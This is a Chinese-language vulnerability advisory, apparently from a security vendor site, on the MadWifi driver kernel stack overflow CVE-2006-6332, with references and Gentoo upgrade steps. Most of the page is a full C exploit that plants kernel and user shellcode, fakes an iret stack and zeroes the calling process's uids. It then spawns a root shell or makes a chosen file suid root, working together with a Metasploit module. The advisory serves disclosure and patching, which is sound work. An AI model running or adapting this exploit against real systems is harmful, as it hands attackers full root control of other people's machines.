安全研究
安全漏洞
MADWiFi Linux内核设备驱动远程缓冲区溢出漏洞
发布日期:2006-12-07
更新日期:2006-12-11
受影响系统:
MADWifi MADWifi 0.9.2不受影响系统:
MADWifi MADWifi 0.9.2.1描述:
BUGTRAQ ID: 21486
CVE(CAN) ID: CVE-2006-6332
MadWifi全称是Multiband Atheros Driver for Wifi,是使用Atheros系列芯片的802.11a/b/g无线网卡在Linux下驱动程序。
MadWifi驱动的实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞以内核权限执行任意指令。
MadWifi驱动代码的net80211/ieee80211_wireless.c文件中存在栈溢出漏洞,攻击者可以通过encode_ie和giwscan_cb函数触发这个溢出,导致执行任意内核权限指令。
<*来源:Laurent Butti (laurent.butti@orange-ftgroup.com)
Julien Tinnes
Jerome Raznieski
链接:http://secunia.com/advisories/23277/
http://madwifi.org/wiki/news/20061207/release-0-9-2-1-fixes-critical-security-issue
http://madwifi.org/changeset/1842
http://security.gentoo.org/glsa/glsa-200612-09.xml
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
*
* CVE-2006-6332
*
* (C) 2006 Julien TINNES and Laurent BUTTI
*
* Use this local exploit in conjonction with the metasploit module
*
* The vulnerable function is called when asking for scan result (which you can do
* without privileges).
* However you need to wait for your card to scan for access point before this exploit can be successfull.
*
* The best way to test this exploit is:
* 1. start the metasploit module on another machine
* 2. Bring your card up. (e.g. ifconfig ath0 up)
* 3. ./madexploit
*
* This will always work because the card will automatically start scanning for APs when your
* bring it up.
* For testing purpose you can also launch this exploit as root, It'll automatically issue a
* scanning request.
* There are also ways to remotely make the card start scanning for APs. Will you find them ?
*
* Use -s if your kernel uses 4K stacks
* Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message
*
* This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing
*
* TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s)
*
* Version 0.5
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <getopt.h>
// #include "iwlib.h"
/* defs from wireless.h and iwlib.h */
#define IW_SCAN_MAX_DATA 4096
#ifndef __user
#define __user
#endif
#define NOPS 0x90909090
#define TASK_SIZE 0xC0000000
#define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */
#define SIOCGIWSCAN 0x8B19 /* get scanning results */
struct iw_point
{
void __user *pointer; /* Pointer to the data (in user space) */
__u16 length; /* number of fields or size in bytes */
__u16 flags; /* Optional params */
};
union iwreq_data
{
struct iw_point data; /* Other large parameters */
};
struct iwreq
{
union
{
char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */
} ifr_ifrn;
/* Data part (defined just above) */
union iwreq_data u;
};
#define IFNAME "ath0"
/* This magic address will pass encode_ie in madwifi
* '3' is 0x33! */
#define KSCADDR 0x33333333
#define USCADDR 0x50000000
/* stringification */
#define xstr(s) str(s)
#define str(s) #s
#define KSTACKADDR 0x60000100
#define PGS (4096)
/* 4046 if 4K STACK is defined */
#define THREAD_SIZE (8192)
#define THREAD_SIZE8K (8192)
#define THREAD_SIZE4K (4096)
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define patchsc_with_addr(sc, addr) \
do { \
*((void (**)())(sc+1))=addr;\
} while (0)
void *installsc(void *scaddr, void *sh, unsigned int len);
void *getsc(char *filename, uint32_t *len);
//_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto);
// jmp -2
//static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe";
// mov [0], eax
//static char sc[]="\xA3\x00\x00\x00\x00";
// exit(42);
//static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80";
// mov eax, 0x01020304; jmp eax
char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0";
uid_t puid;
int noexit=0;
char *chmodfile=NULL;
char chmodname[1024];
unsigned int stackheur=0;
char *ifname=IFNAME;
struct task_struct;
typedef struct {
unsigned long seg;
} mm_segment_t;
mm_segment_t addr_limit;
/* thread_info.h */
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
unsigned long flags; /* low level flags */
unsigned long status; /* thread-synchronous flags */
__u32 cpu; /* current CPU */
int preempt_count; /* 0 => preemptable, <0 => BUG */
mm_segment_t addr_limit;
/* continued */
};
int sys_ioctl(int d, int request, struct iwreq *toto)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)),
"d" ((long)(toto)) : "memory");
__syscall_return(int,__res);
}
struct iretstack {
uint32_t eip;
uint32_t cs;
uint32_t eflags;
uint32_t esp;
uint32_t ss;
} __attribute__((packed));
void build_iretstack(struct iretstack *dest, uint32_t eip) {
dest->eip=eip;
asm("xorl %0, %0\n"
"mov %%cs, %0\n"
"pushf\n"
"pop %%esi\n"
"movl %%esi, %1\n"
"movl %%esp, %2\n"
"xorl %3, %3\n"
"mov %%ss, %3\n"
: "=r" (dest->cs), "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss)
:
: "esi"
);
}
/* userland function, called after ksc_func */
void usc_func(void) {
int ret;
printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg);
if (getuid() == 0) {
printf("[+] Success\n");
if (chmodfile != NULL) {
ret=chown(chmodfile, 0, 0);
if (ret == -1) {
perror("chown");
exit(1);
} else
ret=chmod(chmodfile, 04755);
if (ret == -1) {
perror("chmod");
exit(1);
}
if (noexit) {
printf("[+] Sleeping forever\n");
while(1)
sleep(10);
} else
/* we may BUG() here... */
exit(0);
} else
execlp("/bin/sh", "sh", NULL);
} else {
printf("[-] Failure\n");
exit(42);
}
}
static inline struct thread_info *current_thread_info(__u32 tsize) {
struct thread_info *ti;
//__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1)));
return ti;
}
/* Our kernel mode function */
void ksc_func(void) {
uid_t *tsk;
/* Lame heuristic to try and detect 4K stacks */
if (stackheur) {
addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg;
if (addr_limit.seg == TASK_SIZE)
tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task);
else
tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
} else {
addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg;
tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
}
/* look for uid,euid,suid,fsuid */
while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) )
tsk++;
/* patch uids and gids */
//tsk[0]=tsk[1]=tsk[2]=tsk[3]=0;
memset(tsk, 0, 8*sizeof(uid_t));
/* patch capabilities */
tsk+=9;
memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t));
asm(".intel_syntax noprefix\n"
"sti\n"
"mov esp, " xstr(KSTACKADDR) "\n"
"iret\n"
".att_syntax noprefix\n");
}
int main(int argc, char **argv) {
int skfd, counter=0;
struct iwreq wrq;
unsigned char *buffer = NULL; /* Results */
int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */
printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n"
"(C) 2006 Julien TINNES and Laurent BUTTI\n\n");
/* support -c on self */
if (( geteuid() == 0) && (getuid() !=0)) {
setuid(0);
setgid(0);
execlp("/bin/sh", "sh", NULL);
}
for (;;) {
int option_index = 0, c;
static struct option long_options[] =
{
{"stackheur", 0, 0, 's'},
{"help", 0, 0, 'h'},
{"interface", 1, 0, 'i'},
{"chown/chmod", 1, 0, 'c'},
{"noexit", 1, 0, 'n'},
{0,0,0,0}
};
c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index);
if (c == -1)
break;
switch (c)
{
case 0:
printf("This case should'nt happen\n");
break;
case 's':
printf("[+] Using stack heuristic \n");
stackheur=1;
break;
case 'i':
ifname=optarg;
break;
case 'c':
if ( (strlen(optarg)+1) > sizeof(chmodname))
exit(1);
/* We better not rely on the stack */
strcpy(chmodname, optarg);
chmodfile=chmodname;
printf("[+] chmod/chown %s if success\n", chmodfile);
break;
case 'n':
noexit=1;
break;
case 'h':
case '?':
default:
printf("Usage %s [options]\n\n"
"Options:\n"
"-s\t Use heuristic to determine kernel stack size\n"
"-i <iface>\t Use interface 'iface'\n"
"-c <file>\t Make 'file' suid root\n"
"-n\tdo not exit after chown/chmod\n"
, argv[0]);
exit(1);
}
}
puid=getuid();
printf("[+] Using interface %s\n", ifname);
/* install kernel shellcode */
//scmap=getsc("ksc", &sclen);
patchsc_with_addr(sc, ksc_func);
//if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) {
if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) {
perror("installksc");
exit(1);
}
printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR);
/* install user shellcode */
//scmap=getsc("usc", &sclen);
patchsc_with_addr(sc, usc_func);
//if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) {
if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) {
perror("installusc");
exit(1);
}
printf("[+] User shellcode installed at 0x%X\n", USCADDR);
/* allocate space for kernel stack */
if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) {
perror("installkstack");
exit(1);
}
/* This is a lame workaround to prevent giwscan_cb from crashing
* before returning. We create two pages so that structure pointers
* can be recursively dereferenced.
* A proper exploit should not do that :) */
/* allocate self-dereferencable page */
if (installsc((void *) NOPS, "", 0) == MAP_FAILED) {
perror("self-deref-page");
exit(1);
}
if (installsc((void *) 0, "", 0) == MAP_FAILED) {
perror("self-deref-page");
exit(1);
}
bzero(NULL, PGS);
assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack));
build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR);
printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip);
/* trigger vulnerable function */
buffer = malloc(buflen);
if (!buffer) {
perror("malloc");
exit(1);
}
/* Initialize wrq */
wrq.u.data.pointer = NULL;
wrq.u.data.flags = 0;
wrq.u.data.length = 0;
strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) {
perror("[-] ioctl SIOCSIWSCAN");
printf(" -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n");
} else {
printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n");
}
/* Initialize wrq */
wrq.u.data.pointer = buffer;
wrq.u.data.flags = 0;
wrq.u.data.length = buflen;
while (1) {
printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++);
if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
//if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
perror("[-] ioctl SIOCGIWSCAN");
exit(1);
}
sleep(1);
}
return 0;
}
/* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */
void *installsc(void *scaddr, void *sh, unsigned int len) {
void *scpt;
assert(getpagesize() == PGS);
/* allocate one extra page which will be filled by nops */
scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0);
if (scpt == MAP_FAILED) {
perror("mmap");
return scpt;
}
/* fill first page with nops */
memset(scpt, NOPS, PGS);
/* and copy shellcode */
memcpy(scpt+PGS, sh, len);
return scpt;
}
/* map shellcode found in filename in memory, return its address */
void *getsc(char *filename, uint32_t *len) {
int scfd;
void *scmap;
struct stat scstat;
scfd=stat(filename, &scstat);
if (scfd == -1) {
perror("stat");
exit(1);
}
*len=scstat.st_size;
scfd=open(filename, O_RDONLY);
if (scfd == -1) {
perror("open");
exit(1);
}
scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0);
if (scmap == MAP_FAILED) {
perror("mmap");
exit(1);
}
return scmap;
}
建议:
厂商补丁:
Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200612-09)以及相应补丁:
GLSA-200612-09:MadWifi: Kernel driver buffer overflow
链接:http://security.gentoo.org/glsa/glsa-200612-09.xml
所有MadWifi用户都应升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-wireless/madwifi-ng-0.9.2.1"
MADWifi
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://sourceforge.net/project/showfiles.php?group_id=82936&package_id=85233
浏览次数:4971
严重程度:0(网友投票)
绿盟科技给您安全的保障
